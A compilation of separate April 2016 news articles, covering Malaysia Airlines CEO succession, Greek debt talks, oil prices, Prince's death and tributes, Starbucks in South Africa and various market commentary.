In one of the odder moments, he even dismissed the idea that residents of the District of Columbia should have representation in Congress on purely partisan political grounds.

What about voting rights in Congress, voting representatives? he was asked by Jo-Ann Armao, an associated editorial page editor.

Probably not. I dont know. Id have to, I mean, to me, thats just, I just dont see that we really need that, okay? I dont know. I dont think so, he said.

But you realize though that people in D.C. pay taxes, go to war and they have no vote in Congress, she said.

Related: Donald Trump Has Reason to Cry Foul Over a Rigged Election

Yeah, well look, I am not  I dont  I am not, because you know what, what it really gets down to if you want to be honest is because they know thats just more votes in the Democratic Party.

Kasich spent a portion of the interview complaining that hes not getting the sort of press attention that the other candidates are. Reading the transcript, thats easy to believe, because Kasich is speaking like a guy who thinks nobodys really paying attention to what he says.

Top Reads from The Fiscal Times:
* Irishman Bellew, Malaysian Shazalli Ramly front-runners to be CEO-sources

* Successor will have to complete revamp started by Mueller (Adds Malaysia Airlines comment)

By Praveen Menon and Siva Govindasamy

KUALA LUMPUR/SINGAPORE, April 22 (Reuters) - The abrupt exit of Malaysia Airlines' German boss has revived debate in Malaysia over the wisdom of picking a foreigner to run its ailing carrier, potentially limiting the group's options as it seeks a new leader midway through a radical revamp.

Christoph Mueller, a German national credited with turning around Aer Lingus, took the helm at state-owned Malaysia Airlines in May last year on a three-year contract, as it attempted to pull itself back after the loss of two Boeing 777s in less than a year.

Among the front-runners to replace him as CEO is chief operating officer and Irishman Peter Bellew, formerly with Ryanair, who sits on the group's board, industry sources and sources familiar with the matter said.

Another is Malaysian executive Mohammed Shazalli Ramly, head of unlisted telecommunications firm Celcom Axiata Bhd, who has no experience in airlines but joined the board last year.

"It is a strategic national company with lots of national pride involved. When they hired (Mueller), they cannot just say they did not anticipate this from the beginning," said Tian Chua, national vice president of opposition party PKR.

He said his party had advised the government in 2014 that it was "unfair" to bring in a foreigner for the job.

"The point is that the government did not properly consider all the possible factors that affect this decision."

Surprising even those close to him in the company, Mueller announced his departure for unspecified family reasons late on Tuesday, giving no further detail. He will leave the top job in September, though he remains a non-executive director.

With little detail to go on, politicians, newspapers and social media have blamed the exit on everything from internal disagreements to political rows and friction with Khazanah , the Malaysian sovereign wealth fund which bankrolled the bail-out.

Story continues

Mueller dismissed rumours in a "town hall" meeting with employees, according to newspaper reports. The government has not commented, while Khazanah has said it would have wanted Mueller to continue, but respected his decision. It has not commented further.

Malaysia Airlines said any comment on succession is all speculative at the moment.

INDUSTRY NEWCOMER

But whatever the real reason, analysts say, fresh debate over the choice of a foreigner for the top job will prove a headache for the government and the airline, which had anticipated Mueller would give way to a local successor in time.

"For stability, an internal (candidate) sounds better, but who knows," said Mohsin Aziz, analyst at Maybank Investment Bank in Kuala Lumpur.

Shazalli Ramly, if appointed, would not be the first executive without an industry background to successfully run an airline: Kazuo Inamori successfully turned around Japan Airlines (JAL) with no previous experience at all in aviation management.

But such appointments and successes are rare.

Any successor will also be expected to complete the course chartered by Mueller - and it is all even tougher, analysts predict, in a country where running the flag carrier involves unions who have close ties to the ruling party.

"(Mueller) made the airline more professional and I don't know if that will continue with his departure," one company executive said. (Reporting by Praveen Menon in KUALA LUMPUR and Siva Govindasamy in SINGAPORE; Editing by Clara Ferreira-Marques and Muralikumar Anantharaman)
Christoph Mueller, CEO of Malaysia Airlines, speaks during a panel discussion at the 2015 International Air Transport Association (IATA) Annual General Meeting (AGM) and World Air Transport Summit in Miami Beach, Florida, U.S. June 8, 2015. REUTERS/Joe Skipper/File Photo

By Praveen Menon and Siva Govindasamy

KUALA LUMPUR/SINGAPORE (Reuters) - The abrupt exit of Malaysia Airlines' German boss has revived debate in Malaysia over the wisdom of picking a foreigner to run its ailing carrier, potentially limiting the group's options as it seeks a new leader midway through a radical revamp.

Christoph Mueller, a German national credited with turning around Aer Lingus, took the helm at state-owned Malaysia Airlines in May last year on a three-year contract, as it attempted to pull itself back after the loss of two Boeing 777s in less than a year.

Among the front-runners to replace him as CEO is chief operating officer and Irishman Peter Bellew, formerly with Ryanair, who sits on the group's board, industry sources and sources familiar with the matter said.

Another is Malaysian executive Mohammed Shazalli Ramly, head of unlisted telecommunications firm Celcom Axiata Bhd, who has no experience in airlines but joined the board last year.

"It is a strategic national company with lots of national pride involved. When they hired (Mueller), they cannot just say they did not anticipate this from the beginning," said Tian Chua, national vice president of opposition party PKR.

He said his party had advised the government in 2014 that it was "unfair" to bring in a foreigner for the job.

"The point is that the government did not properly consider all the possible factors that affect this decision."

Surprising even those close to him in the company, Mueller announced his departure for unspecified family reasons late on Tuesday, giving no further detail. He will leave the top job in September, though he remains a non-executive director.

With little detail to go on, politicians, newspapers and social media have blamed the exit on everything from internal disagreements to political rows and friction with Khazanah, the Malaysian sovereign wealth fund which bankrolled the bail-out.

Mueller dismissed rumours in a "town hall" meeting with employees, according to newspaper reports. The government has not commented, while Khazanah has said it would have wanted Mueller to continue, but respected his decision. It has not commented further.

Story continues

Malaysia Airlines said any comment on succession is all speculative at the moment.

INDUSTRY NEWCOMER

But whatever the real reason, analysts say, fresh debate over the choice of a foreigner for the top job will prove a headache for the government and the airline, which had anticipated Mueller would give way to a local successor in time.

"For stability, an internal (candidate) sounds better, but who knows," said Mohsin Aziz, analyst at Maybank Investment Bank in Kuala Lumpur.

Shazalli Ramly, if appointed, would not be the first executive without an industry background to successfully run an airline: Kazuo Inamori successfully turned around Japan Airlines (JAL) with no previous experience at all in aviation management.

But such appointments and successes are rare.

Any successor will also be expected to complete the course chartered by Mueller - and it is all even tougher, analysts predict, in a country where running the flag carrier involves unions who have close ties to the ruling party.

"(Mueller) made the airline more professional and I don't know if that will continue with his departure," one company executive said.

(Reporting by Praveen Menon in KUALA LUMPUR and Siva Govindasamy in SINGAPORE; Editing by Clara Ferreira-Marques and Muralikumar Anantharaman)
Stocks (^DJI, ^GSPC, ^IXIC, ^RUT) are paring early losses, but tech remains sharply lower. Keith Bliss joins us live from the floor of the New York Stock Exchange to discuss the markets.

Joining Yahoo Finance's Alexis Christoforous to discuss some of the other big stories of the day are Yahoo Finance editor-in-chief Andy Serwer and Yahoo Finance's Melody Hahm.

New iPhone scam

Watch out iPhone usersTheres a new scam out there. Its a phishing scheme that sends a text message to your phone saying your Apple ID or iCloud account needs updating and if you dont the account will be terminated. When users click the link, it redirects them to a site asking for personal information. According to Apple, they would never send requests like this, and the interactions will most likely occur inside the iTunes app or Apple ID account themselves. You might think these things go without saying, but its easy to let your guard down when you're on your phone.

China shuts down Apple iBooks and iTunes Movies

And, more bad Apple news. China just shut down Apples iBooks and iTunes Movies services. The action is particularly bad for the industry because Apple had made more progress penetrating the Great Wall than any other tech company.

Women lose more sleep over financial issues: report

Have you ever lost sleep over money? If so, you're not alone, as 60% of Americans report losing sleep over a financial issue, according to a creditcard.com poll. Most of those losing sleep are women68% of women lost sleep versus 56% of men.

Cheerios criticized for Prince tweet

Finally, the passing of legendary musician Prince has led to some companies paying tribute to the star in good and, perhaps, bad ways. Cheerios put up a purple "Rest in Peace" tweet with a Cheerio dotting the "i," then pulled it down after a chorus of twitter users called a crass ploy to sell cereal.
What Might Freeport-McMoRan's 1Q16 Earnings Unearth for Investors?

(Continued from Prior Part)

Copper markets

While there has been a slight sense of buoyancy in copper prices since Freeport-McMoRans (FCX) last earnings call, the consensus analyst opinion on the sustainability of higher price levels is mixed, at best. Although Chinese copper imports have been quite robust in 1Q16, lending support to copper prices, theres still a question as to what exactly China is doing with so much copper.

In 2016, Chinese copper inventory has risen to near-record highs, as the graph below shows. Freeports management should thus shed some light on how the companyas the second-largest copper producer in the worldsees Chinese copper demand shaping up this year.

We should note that because China is the largest copper consumer and importer, the countrys copper demand is a key driver of copper prices. Other mining companies including BHP Billiton (BHP), Rio Tinto (RIO), and Turquoise Hill Resources (TRQ) rely heavily on Chinese metal demand as well.

Annual copper conference

Although Chinese copper imports have been strongand while copper prices have been supported by the weaker US dollarthe mood from the CRU annual copper conference earlier this month in Chile (ECH) was quite somber. Most copper miners dont seem to believe that the worst of the commodity down cycle is behind us. It will be interesting to hear Freeport managements thoughts on the expected surplus or deficit in copper markets this year.

Meanwhile, along with commodity prices, asset sales have been a key driver of Freeports 1Q16 price action. Lets explore now how Freeports asset sales program played out in 1Q16.

Continue to Next Part

Browse this series on Market Realist:
* Greece, lenders close to deal on reforms to produce 3 pct/GDP savings

* Lenders ask Greece to prepare contingency reforms for savings of 2 pct/GDP

* Greek debt relief to be discussed now, could be triggered later (Recasts with Eurogroup news conference)

By Jan Strupczewski and Francesco Guarascio

AMSTERDAM, April 22 (Reuters) - International lenders asked Greece on Friday to prepare a package of additional savings measures which would be passed into law now, but implemented only if needed, to make sure the country reaches agreed fiscal targets.

Once agreed, the set of contingent reforms, together with the measures already under negotiation, would enable the disbursement of new loans to Athens and pave the way for the debt relief.

The idea of a contingency package appears to end a long dispute between the euro zone and the International Monetary Fund over whether Greece's current reforms are enough.

"We came to the conclusion that the policy package should include a contingent package of additional measures that would be implemented only if necessary to reach the primary surplus target for 2018," the chairman of euro zone finance ministers Jeroen Dijsselbloem told a news conference in Amsterdam after the ministers met.

The contingency measures need "to be credible, legislated up-front, automatic and based on objective factors," he said.

The contingency package is to produce savings of 2 percent of GDP, on top of the 3 percent of GDP savings that are to come from reforms under negotiation now, Dijsselbloem said.

The amount is the difference between euro zone and IMF forecasts of what primary surplus Greece is likely to achieve in 2018 -- the euro zone believes Athens can reach 3.5 percent while the IMF says 1.5 percent is more realistic.

The current set of reforms includes a pension and income tax reform, the setting up of a privatisation fund and a scheme to deal with bad loans. The content of the contingency set is not decided yet.

Story continues

Agreement on both reform packages -- the regular and the contingent one -- would mean euro zone ministers would meet again on Thursday to approve the deal and have a "serious discussion" on debt relief for Greece.

But Athens' backing for the new package remains unclear. "There are political constraints," a negotiator said.

The prospect of debt talks may facilitate Greece's backing, but lenders did not refrain from reminding their Greek counterparts that there are time constraints.

"The liquidity situation is becoming tight, there are debt service payments ... more are coming in the next few months, there is a risk that the government may have to accumulate domestic arrears again," the head of the euro zone bailout fund Klaus Regling said.

TALKS ON DEBT RELIEF STARTING NOW

Talks and analysis on how to design debt relief will now start in parallel with the discussions on the reforms, Dijsselbloem said.

The IMF is insisting on debt relief from euro zone governments because it does not believe Greece can maintain a surplus of 3.5 percent for decades and debt reprofiling is the only way to make it sustainable in the long run. Greek debt stood at 177 percent of GDP last year.

Germany and several other countries believe that with proper reforms Greece can keep such a surplus for decades and point to the fact that the country does not need to service its debt for the next seven years.

The Fund says this is unrealistic, and therefore the euro zone must grant the country debt relief through extending maturities and grace periods.

The range of views stem from different macroeconomic assumptions among the lenders on Greek growth and fiscal performance over the next 30 years, officials said.

Wary of German sensibility on the debt relief issue, Lagarde appeared to offer a compromise on Friday.

"The debt sustainability analysis (DSA) ...will guide us towards a mechanism that will not require any haircut, but will probably require a reprofiling of the debt using multiple mechanisms," Lagarde said.

"But this would be triggered when needed, that is upon the completion of all measures that are being discussed at the moment and based on realistic forecasts," she said.

German Finance Minister Wolfgang Schaeuble said debt relief talks were not a priority.

"That is not in the foreground. What is in the foreground is what has been agreed last year must be implemented," he said, referring to fiscal targets set last August.

Dijsselbloem outlined how he looked at the issue of debt relief for Greece.

"First of all it might be necessary because we want the involvement of the IMF. Another way is to say it is necessary but not up front, it is necessary maybe in 8 years or in 15 years. We will see that on the basis of the DSA," he said.

"And then you can discuss if you need to solve these problems now, even if they are in the future... or do we promise a mechanism that we will deal with it in such and such way later on. All of this is yet to be discussed," Dijsselbloem said.

(Reporting By Jan Strupczewski and Francesco Guarascio; Additional reporting by Philip Blenkinsop in Brussels; Editing by Hugh Lawson)
US President Barack Obama speaks during a press conference at the Foreign and Commonwealth Office in central London with Britain's Prime Minister David Cameron (unseen) following a meeting at Downing Street, in London, Britain April, 22, 2016. REUTERS/Ben Stansall/Pool

In an interview with the German newspaper Bild, President Barack Obama took a veiled shot at Donald Trump's rhetoric aimed at Muslims.

"In some places, including the United States, we've seen the rise of dangerous political rhetoric that targets immigrants or Muslims," Obama said.

The interview was conducted by Kai Diekmann, publisher of Bild and a Business Insider contributing editor, and Tanit Koch, editor in chief of Bild.

Obama's reference to anti-Muslim rhetoric is likely at least in part a reference to Trump's proposed barring of Muslims entering the US.

Late last year, the frontrunner for the Republican presidential nomination called for the US government to bar most Muslim tourists and immigrants from entering the US until the terrorist "problem" is under control.

"The politics around refugees and immigration is hard in any country, but I believe the best leaders are willing to take on the toughest issues  especially when it's not easy," Obama said in the interview. "We cannot simply shut our doors to our fellow human beings when they are in such desperate need. That would be a betrayal of our values."

In another possible reference to Trump's statements, Obama said that the US can protect its security with the checks it does on refugees entering the country.

"We know how to do this responsibly in a way that ensures our security, including extensive checks, so we know who we're welcoming to our country," Obama said.

Trump has repeatedly cautioned against accepting refugees into the US on the grounds that "we don't know who these people are."

In the interview, Obama praised German Chancellor Angela Merkel, whose government has faced staunch opposition for accepting hundreds of thousands of refugees from war-torn Syria.

"I believe that Chancellor Merkel's approach to the refugee crisis  and that of many Germans  has been courageous," he said.

Story continues

Obama also emphasized in the interview the importance of the North Atlantic Treaty Organization, an alliance that Trump has said is "obsolete."

He said that "our NATO allies are playing a critical role in the military campaign" against the terrorist group ISIS. And he added that the US needs Europe "to help uphold our Article V commitment to our NATO allies and to keep supporting Ukraine's ability to ensure its security in the face of Russian aggression."

Read the full interview here.

NOW WATCH: Obama just nailed it on why science is so important





More From Business Insider


fee

Some analysts are betting that the recent jump in oil prices will be short-lived.

A big meeting of producers in Doha, Qatar last Sunday ended without an agreement to cap output.

Christopher Wood, author of CLSA's weekly GREED & fear letter, said Thursday that this proves oil will drop to $20 a barrel  one of the most bearish calls out there.

West Texas Intermediate crude, the US benchmark, traded as high as $44.45 a barrel Friday. Brent crude, the international benchmark, rose to $45.89.

To recap Doha, members of the oil cartel OPEC and nonmembers met to try and agree on output ceilings in an effort to help lift prices. Many economies, including OPEC's de facto leader Saudi Arabia, have been strained by the price collapse.

But Iran  Saudi Arabia's geopolitical rival  has an opposite agenda. It is increasing production to start exporting again, now that economic sanctions have been lifted.

The Saudis refused to sign an agreement without Iran, and so the meeting flopped. That sent oil prices lower by 5% in futures trading last Sunday.

But by Friday, US oil was headed for an 11% weekly gain. Wood said in his note that he finds the rally baffling:

GREED & fear also has no claim to be an energy expert. Still GREED & fear remains highly skeptical of this sanguine view on oil with the base case here that oil will re-visit the US$20 level, sooner or later, in the absence of an effective OPEC instigated production freeze.

Oil-price moves over the few weeks leading up to Doha had been dominated by speculation about the meeting of oil producers that took place last Sunday.

Now Wood also noted that last week's rally was aided by production interruptions in Kuwait, where oil workers went on strike after a disagreement with the government over planned pay cuts.

ggag

Also, US oil production fell for a sixth straight week, after a big run-up that contributed to the price plunge. That raised bets for higher prices in the futures market.

Story continues

Still, why would anyone be bearish?

"The fact that oil has not sold off has also encouraged those who believe that oil has bottomed on the view that the industry has started to adjust," Wood said.

The rise in prices since Doha is further encouraging this view, which is wrong, according to Wood.

He's maintaining the $20 forecast because everything about shale fracking suggests that oil drilling will be more productive, meaning an even bigger glut.

And then, we'd also consider comments from Schlumberger, America's largest oil driller, in its first-quarter earnings on Friday.

Global spending on oil drilling "is expected to continue deteriorating over the coming quarter given the magnitude and erratic nature of the disruptions in activity," CEO Paal Kibsgaard said. On its part, Schlumberger will focus on cutting costs and staying profitable.

Meanwhile, global oil inventories remain at historically high levels, and near 100% of storage capacity in some areas. Wood does not think the official data captures all that's really in storage.

Wood said that ultimately, the efficiency of shale technology should keep the US as the swing producer, not OPEC or Saudi Arabia, as it used to be.

"Doha confirms we are now in the new normal," wrote Citi Research's Farouk Soussa in a recent note to clients.

He argued that the oil crash, which has prices 60% below their peak two years ago, can no longer be dismissed as a blip. That's because the Doha outcome proved that global oil producers will struggle to curtail their supply in the longer term.

And so while not everyone is betting on a drop to $20  about half of Friday's price  there are healthy doubts about how much higher oil can go.

NOW WATCH: This defunct oil rig in the middle of the ocean is now a cool hotel for divers





More From Business Insider


prince

The Carver County Sheriff's Office has released the transcript of the 911 emergency call from Prince's Paisley Park estate in suburban Minneapolis on Thursday, when he was discovered unresponsive.

"We have someone who is unconscious," an unidentified male said on the 9:43 a.m. emergency call. "We're at Prince's house."

The caller then told the 911 dispatcher, "The person is dead here." He also said that other people in the home at 7801 Audubon Road "are just distraught."

The Carver County Sheriff's Office said in a statement that Prince was found in an elevator, and medical professionals attempted CPR, which failed, at which point he was declared dead.

The cause of death is still being investigated. Prince was 57 years old.

Read the full transcript of the 911 call below:

Prince dead 911 Call Transcript

201600012559 911 Call Transcript 2

Prince dead 911 Call Transcript 3

NOW WATCH: Back in 2014, dancer Misty Copeland told us a story about working with Prince





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For over 13 years, from October 7, 2001 until December 28, 2014, the US and NATO were conducting combat operations in Afghanistan.

And, although combat operations were meant to have stopped and the US had begun withdrawing troops from the country by the end of 2014, continued gains by the Taliban and the seeming weakness of the Afghan National Army have forced the US to continue its role in the war torn country.

Overall, the US maintains a force of nearly 10,000 in Afghanistan, although President Obama plans to draw that force down to 5,500 in 2017. At that point the war would have lasted for 16 years.

In response to this continuation of US presence in the country, cartoonist Jack Ohman of The Sacramento Bee published this cartoon, which helped him win the 2016 "Editorial Cartooning" Pulitzer Prize.

afghanistan political cartoon





More From Business Insider


Why Are Midsize Regulated Utilities Outshining the Biggies?

(Continued from Prior Part)

Consolidated Edison

Consolidated Edisons (ED) return on equity has been falling since 2012, due to the policies of New York regulators. ED has seen returns of 9.2% for electric and 9.3% for gasalmost 100 basis points lower than industry average. But the company recently acquired a 12.5% stake in the Mountain Valley pipeline project, and its diversification into the midstream sector is a welcome move, considering the slow growth of its core electric business.

PPL Corporation

By comparison, PPL Corporation (PPL) is the only fully regulated utility (IDU) in the US that derives most of its earnings from international operations. PPL generates 65% of its earnings from UK operations, which are relatively stable, given the companys eight-year, formula-based plan in the region.

PPLs earnings from the UK are expected to grow by 2%, whereas its US operations are likely to grow by 12% over the next couple of years.

Edison International

The decision of California regulators to shut down its net metering plan may recharge EIXs earnings. EIX currently earns the highest return on equity (10.5%) among integrated regulated utility (JXI) peers, and its active investment in electric grid and renewable should drive its earnings in the near future.

Xcel Energy

Meanwhile, Xcel Energy (XEL) is trying to improve earnings by reducing its regulatory lag. The regulatory lag for a utility (XLU) is the time difference between capital spending and rate recovery. According to Xcel Energys estimates, Minnesota has historically accounted for nearly 80% of the companys total regulatory lag. Xcel expects its returns to improve by 50 basis points by 2018 if the issue of regulatory lag can be addressed.

Now lets analyze debt profiles.

Continue to Next Part

Browse this series on Market Realist:
Starbucks slashed its prices by about 30% for the new Johannesburg outlet.

Johannesburg, South Africa

On its first day in sub-Saharan Africa, Starbucks supplied blankets and umbrellas along with free coffee samples to its new customers who lined up in an uncharacteristically cold, wet Johannesburg on Thursday.

Its taken Starbucks years to get to South Africa, but some consumers have taken the coffee giants entry into the local market as a reaffirmation of the countrys standing in the world. Most of the first days customers were acutely aware of the power of Starbucks green siren logo.

It kinda shows the world that South Africa is taken seriously to have a brand like this, said Olivia Cloud, a university student and former reality TV starlet.

The reality is theres only about 250,000 people in South Africa who can afford to buy Starbucks on a regular basis. A lot of American products are coming into South AfricaBurger King, Starbucksbut its good for local business, said law student Madi Doucoure.

Adrian Shannon, a creative director who says he travels a lot, welcomed Starbucks location in the trendy Rosebank suburb, which he describes as having an international feel. Starbucks new neighbors include a relatively busy Burger King and a recently opened Krispy Kreme that still has a line outside.

Although Starbucks is not necessarily the best coffee you can get they have a passion for coffee and a passion to make people happy and I think the local market could probably do with a little competition, said Shannon, who would like a few more local flavors.

Local flavors, international recognition

Woven leather ceiling panels inspired by basket weaving are some of the new stores nods to its African location, according to a statement. There are also mugs with the Johannesburg skyline. But the main aesthetic feature is a large copper mural to remind customers of the atmosphere of the Pike Place Market in Seattle and draw parallels to parts of Johannesburg.

Story continues

Seattle meets Johannesburg in the interior of the first Starbucks in South Africa (Supplied)

Investors were less excited about the opening though. Taste Holdings, the franchise management group that will operate Starbucks here, saw its share price drop by 4.64% by the end of opening day.

Following the announcement that the company had partnered with Starbucks on a 25-year exclusive partnership, Taste Holdings shares surged 20% in July last year, according to reports. But since then the share price has just about halved in a struggling economy. Introducing another American franchise to the South African market last year, Dominos Pizza, has also not paid off yet for Taste Holdings.

The cost of a cup of coffee



Many are wondering whether South Africans will be willing to spend more for the Starbucks brand. The price of a small latte at the Starbucks in Johannesburg is 23% more than the price of one at other chain coffee outlets.

These proportionally higher prices lead some to believe Starbucks is only targeting the upper-middle class population in South Africa.

Jake Eaton, the co-founder of Tribe Coffee in Cape Town. (Quartz / Nushmia Khan)

The reality is theres only about 250,000 people in South Africa who can afford to buy Starbucks on a regular basis, said Jake Eaton, co-founder of Tribe Coffee, a local brand.

But compared to their US prices, its surprising to see just how much Starbucks slashed its prices for Johannesburg. Most drinks were about 30% cheaper than they are in the U.S.

Expansion plans

The UKs Telegraph newspaper recently rated Cape Towns Truth Coffee the best coffee in the world (Quartz/Nushmia Khan)

In addition to its Johannesburg coffee outlets, Starbucks also announced plans to open coffee shops in Cape Town. But Cape Town is already packed with specialty coffee shops boasting single origin, hand-roasted coffee.

So why would people pay more for a coffee thats probably worse?

South Africans really love international brands, said Eaton. H&M had a massive launch, and when Burger King opened there were lines around the block.

Some hope that after some time people will come to their senses and mind their wallets.

Im giving them a year of success, then people will go back to their normal coffee shops, said Krisz Bukaresti, a barista at Cape Towns Origin.

Sign up for the Quartz Africa Weekly Brief  the most important and interesting news from across the continent, in your inbox.

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china flag soldier

The Department of Justice alleged that two Chinese nationals illegally exported US military secrets and technology to China.

On April 14 Fuyi Sun, aka Frank, 52, a citizen of the Peoples Republic of China, was arrested for allegedly trying to export high-grade carbon fibre, which is used for military aviation applications like the construction of drones.

Sun allegedly attempted to procure high grade carbon fiber for a source he repeatedly identified as the Chinese military, said Assistant Attorney General Carlin in a DoJ release.

"The carbon fiber  which has many aerospace and defense applications  is strictly controlled, and Sun expressed a willingness to pay a premium to skirt US export laws."

As alleged, Fuyi Sun attempted for years to acquire high-grade carbon fiber for illegal export to China, said US Attorney Preet Bharara of the Southern District of New York in the same release.

Earlier this week, after traveling to New York from China to finalize the deal, Sun allegedly told undercover agents that the carbon fiber he sought was headed for the Chinese military, and then paid tens of thousands of dollars in cash to purchase two cases of it. And to avoid law enforcement detection, Sun allegedly directed the undercover agents to ship the carbon fiber in unmarked boxes and to falsify the shipping documents regarding the contents of the boxes, Bahara continued.

In a separate incident, the DoJ charged Amin Yu, 53, of Orlando, Florida with acting as a foreign agent, conspiring to defraud and commit offenses against the US, unlawfully exporting information smuggling goods from the US to China, and conspiring to and committing international money laundering and making false statements to the US Citizenship and Immigration Services.

"According to the superseding indictment, from at least 2002 until approximately February 2014, Yu obtained systems and components for marine submersible vehicles from companies in the United States," the DoJ release reads.

Story continues

china submarine

These allegations come as China makes a massive push towards military modernization, possibly bolstered by the cyber theft of US military technology, as numerous and credible reports indicate.

Currently, China is developing two fifth-generation combat jets, as well as new submarines. Additionally, they have begun installing military hardware on man-made islands in the South China Sea, much to the worry of their neighbors in the Pacific.

In both Yu's and Sun's cases, the maximum sentence for their crimes, should they be found guilty, is 10 years.

NOW WATCH: Some of the groundwater in China is so polluted, its unsafe for humans to touch





More From Business Insider


Why Indicators Are Suggesting Mixed Results for Global Markets

(Continued from Prior Part)

US crude oil stockpiles rose

US crude oil stockpiles rose by 6.6 MMbbls (million barrels) in the week ending April 8, 2016compared to the fall of 4.9 MMbbls in the prior week ending April 1, 2016, according to the EIA (U.S. Energy Information Administration). It was above Market expectations of a rise by 2.6 MMbbls. The rise in the US (QQQ) (SPY) (VOO) crude oil (USO) (UWTI) inventory indicates that the supply increased for the week ending April 8, 2016. However, crude oil only fell 1.4% on April 13 after the declaration of the crude oil inventory data. Investors focus shifted towards the Doha meeting.

Doha meeting is fruitless

The meeting of OPEC (Organization of Petroleum Exporting Countries) and non-OPEC producers took place in Doha on April 17. It didnt achieve its objective. Saudi Arabia reiterated that all the OPEC countries including Iran must agree to the deal. Since February 11, the production freeze talk was an important catalyst for the crude rally. On February 11, US crude oil was at multiyear lows.

Why a production freeze might not be possible

Saudi Arabia is OPECs leading producer. Its constantly insisting that Iran must join the production freeze deal. However, Iran isnt ready to join the production freeze talk until its pre-sanction crude output level of 4 million barrels per day is achieved. Until Iran achieves its required crude output level, the production freeze talk might fail.

In the next part of this series, well analyze the performance of Chinas gross domestic product growth rate for the first quarter.

Continue to Next Part

Browse this series on Market Realist:
Demand for Safe-Haven Treasuries Rose Due to the Doha Meeting

(Continued from Prior Part)

26-week T-bills auction

The U.S. Department of the Treasury held the weekly 26-week Treasury bills, or T-bills, (BIL) (MINT) auction on April 11. T-bills worth $4 billion were on offerthe same as the previous auction.

The bid-to-cover ratio fell 6.6% from the previous week. It came in at 3.8x for the April 11 auction. In 2015, the bid-to-cover ratio averaged 4.0x. The bid-to-cover ratio shows the overall demand for the auction. The demand for safe-haven T-bills fell as stock markets rallied due to the rise in oil prices.

Mutual funds like the PIMCO GNMA Fund  Class A (PAGNX) and the Prudential Government Income Fund  Class A (PGVAX) provide exposure to T-bills.

Yield analysis

T-bills dont pay a coupon. Theyre offered at a discount to face value. Theyre redeemable at par on maturity. The high discount rate for the April 11 auction fell and came in at 0.35%lower than 0.39% in the previous week.

Market demand rose

Fundamental market demand rose from 39.4% in the previous week to 43.4% last week. Accepted indirect bids rose to 34.9% week-over-week from 31.9% in the previous week.

Meanwhile, the percentage of direct bids rose to 8.6% week-over-week from 7.4% a week ago. Direct bids include bids from domestic money managers like Invesco (IVZ) and Wells Fargo (WFC).

Due to the rise in market demand, the share of primary dealer bids fell to 56.6% of the auction from 60.6% in the previous week. Primary dealers are a group of 22 authorized broker-dealers. Theyre obligated to bid at US Treasury auctions and take up excess supply. They include firms like Goldman Sachs (GS) and Citigroup (C).

Continue to Next Part

Browse this series on Market Realist:
Is Disability Insurance Income Taxed as Earned Income?

Disability insurance is used to replace your wages when you can't work because of an injury or illness. If you become disabled, you could qualify for payments from both private and government disability insurance. Some of these payments are taxed as earned income while others are tax-free. Whether disability payments are taxable depends on the insurance they come from and your total income at the time.

Private Insurance When you pay for private disability insurance, your premium payments are not tax-deductible. In exchange, if you become disabled and start collecting insurance payments, your payments will be tax-free. The Internal Revenue Service created this tax benefit to help Americans deal with the financial cost of a disability. As long as you paid for all of the costs of your disability insurance yourself, your payments will not count as taxable income.

Work Insurance Some companies offer disability insurance as a fringe benefit. If your employer paid for your disability insurance, your payments will be taxed as earned income. Since your employer paid for the policy, it's like your payments are an additional form of compensation for your work. If you paid for part of your work insurance, then part of your payments will be tax-free. For example, if you paid for half of the cost of your disability insurance, then half of your monthly disability payments will be tax-free and the other half will be taxable.

Workers' Compensation If you became injured or sick at your job, you also qualify for workers' compensation disability payments. This is a state-run disability program. Workers' compensation payments do not count as taxable income. The IRS created this tax break so that these payments come closer to matching your work income. Workers' compensation payments only cover about two-thirds of your monthly income. With the tax savings, you should be getting close to the same after-tax income while on disability.
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Madonna, Mick Jagger, Spike Lee, Barack Obama Sur les reseaux sociaux, de nombreuses personnalites expriment leur tristesse suite au deces du chanteur pop a lage de 57 ans.

Madonna

He Changed The World!! A True Visionary. What a loss. Im Devastated.? This is Not A Love Song. A photo posted by Madonna (@madonna) on Apr 21, 2016 at 11:17am PDT

Mick Jagger

Wyclef Jean

R. I. P to the King Prince thank u for inspiring me to be a Musician First and using this tool to heal people  Wyclef Jean (@wyclef) 21 avril 2016



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Spike Lee

I Miss My Brother. Prince Was A Funny Cat. Great Sense Of Humor. https://t.co/67umQghtbi  Spike Lee (@SpikeLee) 21 avril 2016



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Samuel L. Jackson

Im Crushed!! UK news reporting Prince Is Dead?! For Real?! Massive Loss for us all! What a Genius! Speechless.  Samuel L. Jackson (@SamuelLJackson) 21 avril 2016



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Barack Obama

 A strong spirit transcends rules, Prince once saidand nobodys spirit was stronger, bolder, or more creative.  President Obama  Barack Obama (@BarackObama) 21 avril 2016



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Bono

I never met Mozart, I never met Duke Ellington or Charlie Parker

I never met Elvis

But I met Prince  Bono pic.twitter.com/ruD6Su3aMh  U2 (@U2) 22 avril 2016



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Bob Mould

Katy Perry

And just like thatthe world lost a lot of magic ? Rest in peace Prince! Thanks for giving us so much  KATY PERRY (@katyperry) 21 avril 2016



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Vincent Kompany

RIP Prince. Eternal genius. #Prince  Vincent Kompany (@VincentKompany) 21 avril 2016



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Steve Aoki

 Dearly beloved, we are gathered here today to get through this thing called life.   #Prince #RIP pic.twitter.com/n5DkRYQxTk  Steve Aoki (@steveaoki) 21 avril 2016



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Reese Witherspoon

Today we lost a true artist. Thank you #Prince for all the music you put into this world. #RIP pic.twitter.com/4yZ6Cb5hMb  Reese Witherspoon (@RWitherspoon) 21 avril 2016



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Lindsay Lohan

Thank you #Prince for all of your inspiration and sharing your incredible talents with the world. You will be incredibly missed. #RIP  Lindsay Lohan (@lindsaylohan) 21 avril 2016



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The Jacksons

Doves will cry tonight. We celebrate you brother and this thing called Life. Godspeed to the great Afterparty. #Prince  The Jacksons (@Jacksons) 21 avril 2016



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Ines de la Fressange

Ironie du sort , le jour de lanniversaire de la reine on perd Prince : un roi . pic.twitter.com/oPWvke7k58  Ines de la Fressange (@lafressange) 21 avril 2016



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Ellen DeGeneres

Prince was brilliant and larger than life. What a sad day.  Ellen DeGeneres (@TheEllenShow) 21 April 2016



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Demi Lovato

This fucking sucks Prince on repeat all day. Just like I did with Michael and Whitney ?  Demi Lovato (@ddlovato) 21 April 2016



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Whoopi Goldberg

This is what it sounds like when doves cry.. Prince R.I.P.

Condolences to his family & 2 us all  Whoopi Goldberg (@WhoopiGoldberg) 21 April 2016



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No way.. Prince  Netsky (@netskymusic) 21 April 2016



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Netsky

